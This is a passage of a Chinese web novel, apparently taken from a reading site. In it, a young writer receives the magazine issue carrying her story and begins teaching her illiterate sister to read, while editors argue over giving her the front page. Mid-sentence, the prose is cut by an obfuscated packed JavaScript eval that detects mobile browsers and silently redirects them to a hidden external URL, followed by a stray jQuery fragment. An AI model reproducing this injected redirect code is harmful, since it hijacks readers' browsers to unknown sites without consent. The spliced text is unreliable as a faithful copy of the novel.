她现在没有大钱，花钱的地方又多，只能略微买点小东西，好在这年头，大家平时送礼物，也多半是提着糕点，好些的买点茶叶就行了。 这样也不显得她失礼。 回到家，程锦云把新买的衣裳叠好放进衣柜，又把那块小黑板摆在桌上，看了又看，舍不得碰。 程锦年把那包糕点放在一旁，从灶房端了一碗水过来，拿起石笔，在小黑板上一笔一划写了三个字：程、锦、云。 “这是你的名字，程锦云。” 程锦云盯着那三个字，嘴里跟着念：“程……锦……云……” “你用手指在沙盘上描一遍。”程锦年指了指灶房门口那个旧木盆，里面装了半盆细沙，是她回来路上顺手在工地装回来的。 程锦云蹲下来，伸出手指，在沙面上歪歪扭扭地描了一个“程”字，禾字旁写得太宽，右边的口字写成了三角形，她自己看着都笑了。 “多练就好。”程锦年说。 窗外，天色暗了下来，灶房里飘出米粥的香气，程锦云在粥里加了一把切碎的白菜，又卧了两个鸡蛋，一个给妹妹，一个给自己。她很久没有给自己煮过鸡蛋了，现在终于舍得尝一尝。 程锦年喝着粥，其实今天买的东西不多，但是家里的氛围却不再紧绷了，那种衣食无着的失落感褪去，终于能让人好好放松一下。 6. 第 6 章 程锦年把采买回来的东西归置好，在心里把账算了一遍。林知秋给的三十块，各项花销加上第一笔稿费六块六，去掉采购花费，还有代收信件，每次两铜板，7封信就是14铜板，剩三块二角五分钱。 房租八块还没着落，但下笔稿费过几天就到，所以暂时不用着急。 她把钱分别藏好，压进枕头底下、缝在衣服里，虽然钱不多，但是家里也要防再有小偷一锅端。 如果是几天前，她不敢这么干，把房租钱花了，万一稿费不来怎么办？但现在她敢了。 不是因为钱多了，是因为她知道，就算这笔稿费不来，她也能再写一篇。第一次投稿的时候她心里没底，不知道这条路走不走得通。现在路走通了，她就不怕了，至少，她敢试一试了。 *** 几天后，《海城小说月报》编辑部正在排版。 老周拆到后半截投稿时，随手翻了一下开头就没能放下，那篇《无名》一口气读完，他靠在椅背上盯着天花板看了好一会儿。 他起身去找陈伯言，把稿子递过去，陈伯言看完沉默了片刻：“现在开会，这篇稿子不等下期了，这期就要上。” 老周愣了一下：“这期版样都排得差不多了，老孙、小赵的稿子都定了，吴先生的也占好了头版，他跟咱们约稿的时候就说好了这期轮到他上头版。 甲级作家们轮流来，上期是周先生，这期是吴先生，下期是李小姐，突然把人撤了怕是不好交代。” “先开会再说。” 编辑部几个人围在桌前，老周把《无名》的稿子放在最上面，陈伯言翻了翻又递给了社长孟鹤亭。 孟鹤亭端起紫砂壶抿了一口，把《无名》慢慢看了一遍，放下稿子没有表态，而是从桌上翻出吴先生最近几期发表的文章，一页一页地翻。 翻到第二篇时他眉头皱了一下，翻到第三篇他把稿纸往桌上一搁：“老周，你说吴先生这半年写的都是些什么东西？” 他指了指其中一篇，“这篇书生赶考遇狐仙，老掉牙的套路，文笔干巴巴的连个像样的转折都没有。还有这篇才子佳人，看了开头就知道结尾，这叫文章？这叫糊弄。” 办公室里安静下来，老孙端着茶杯不敢出声，小赵低着头假装看稿。 “我不是说他以前写得不好，以前是好，但那是以前。这半年他自己算算，有几篇拿得出手的？仗着老资历越来越不把报社当回事了，约稿催三遍才交，交上来的东西平平无奇，连个让人眼前一亮的句子都找不出来。” 孟鹤亭站起来背着手走了两步，回过头，“咱们这儿又不是养老院，光靠倚老卖老吃老本门儿都没有，稿子好不好读者说了算，谁有本事谁上这是规矩。这期头版就定这篇《无名》，吴先生那边我去说。” 老周拿起红笔在版样上勾了一笔，把吴先生的稿子从头版挪到了第二版，头版的位置空出来，大号字体写下“无名”二字，底下署名“林间月”。 等散会了，几个编辑聚集在一起边干活边议论，老孙坐在工位上，特意压低了声音：“老周，那篇《无名》真值头版？” 老周抬起头看了他一眼：“值不值，你心里没数？” 老孙沉默了一瞬，他看过那篇稿子，上次开会孟社长拍板给甲等的时候，他虽说了句“新人给甲等坏了规矩”，但稿子本身他挑不出毛病。 “质量没话说，但头版不只是看质量，吴先生写了三年，不少读者认他的名字，你换一个新人上去，销量掉了谁负责？” 老周没接话，低下头继续排版。心想，谁负责，都报给领导了，社长拍的板，总不能让他负责吧，这话万万不能说，但他心里确实这么想的。 午饭时，小赵端着盒饭凑过来：“老周，那篇《无名》真那么厉害？” 老周夹了一口菜嚼完了才说：“我打个赌，这期销量比上期涨一成。” 老孙在旁边哼了一声：“一个新人头版涨一成？能保住上期的数就不错了。” 吃饭的时候，规矩没那么大，社长孟鹤亭从楼上下来，拉了把椅子坐下，正好听见了这讨论，看了一眼老周：“老周赌一成？” 刚说的话，没什么不认的，老周点点头。 陈伯言不知什么时候站到了门口：“我赌两成。” 办公室里安静了两秒，孟鹤亭把紫砂壶放在桌子上，手指在壶盖上叩了两下：“输了的请全编辑部去老正兴吃一顿，谁赢了下个月，我让他多报两块钱的烟钱。” 老周把最后一口饭扒完站起来去洗饭盒，回过头说了一句：“那好，我可记下来了，就等着大吃一顿了。” 反正社里平时氛围还挺好，老周也有心思开开玩笑。 老正兴的饭不算贵，请一顿就是略有心疼的程度，不至于伤筋动骨，几人嘻嘻哈哈间就敲定了这件事。 程锦年不知道这些，她每天去吴记杂货铺取信，没让她久等，老板娘从柜台下面翻出一个牛皮纸信封递给她，收了两个铜板。 摸着厚度和大小，程锦年有了猜测，她快步回家，打开一看，信封里是一本样刊。 翻到目录页，第三行印着两个字——“无名”，后面跟着她的笔名“林间月”，标题用了大一号的字，在一排小字里格外显眼。 铅字方方正正笔画清晰，印在纸上像一枚印 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17590332|205354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 章，她的名字不再只是自己写在稿纸角落的那几个字了，它被排进了版面占了一个位置。 她把那本样刊举起来对着光看，目录页上“林间月”三个字在阳光下半透明，墨迹的纹理清晰可见。 她忽然想起了刚逃出海城那天的事，姐姐抱着她哭说“锦年，怎么办”，她说“没事，相信我”。 那时候她其实也不知道怎么办，毕竟只是在校大学生，还没有经历过社会毒打，但是她不能慌，还有个高中生年纪的“姐姐”需要照顾呢。 可现在的“没事”不一样了，那时候的“没事”是硬撑，现在的“没事”是真的没事，因为她知道这支笔能替她开路，两辈子的书没白读，她不是这个时代的人，但在这个时代她找到了自己的位置。 她把样刊贴在胸口，想了很久，这只是一个开始，总有一天，她会用这支笔，来发出自己真正想发出的声音来。 程锦年把那本样刊放在桌上，招呼起程锦云：“云姐，你过来坐。” 程锦云有些不明所以，但还是走过来，看着她手里那条湿漉漉的抹布，程锦年让她先放着，拿张纸帮她擦干手，然后心想，姐姐在全力照顾她的起居啊，要不然这些生活琐事就够她烦恼的了。 程锦年把刊物翻开，翻到印着自己名字的那一页，推到姐姐面前：“这就是我写的，再过几天就能在报摊上买到了。” 程锦云低头看着那一页纸，一个字都不认识，但她看得很认真，像在端详一件瓷器。她伸出手用指腹轻轻按了一下纸面，怕弄脏又缩了回去。 “锦年，你写的这些……有人看吗？” “有，”程锦年把杂志合上，“不只一个人看，有很多人看，这些会送到海城各个报摊上。” 程锦云沉默了一会儿，低下头把抹布叠了叠：“我小时候，村口贴告示，大家围过去，等着识字的人读，我那时候其实很羡慕的，站在人群中间，所有人都在听一个人说话，好风光啊。” 程锦年看着姐姐，姐姐的手搭在膝盖上，指节粗大，指甲剪得齐齐的，这确实不像是一双拿笔的手，但是那又怎么样。 “云姐，我教你认字，以后你不用站在人群外面，你也可以这么风光的成为焦点。” 程锦云抬起头，嘴唇动了动想说什么又咽了回去，她没哭，只是轻轻“嗯”了一声，就像是要把那些灰暗的过去都这么吞咽下去。 那本样刊安安静静地躺在桌上，封面上印着当月的日期，内页里印着她的名字。 程锦年知道用不了多久，这些铅字会变成许许多多份刊物，被运到海城的大小报摊上，被一双双手接过来，被一双双眼睛读到。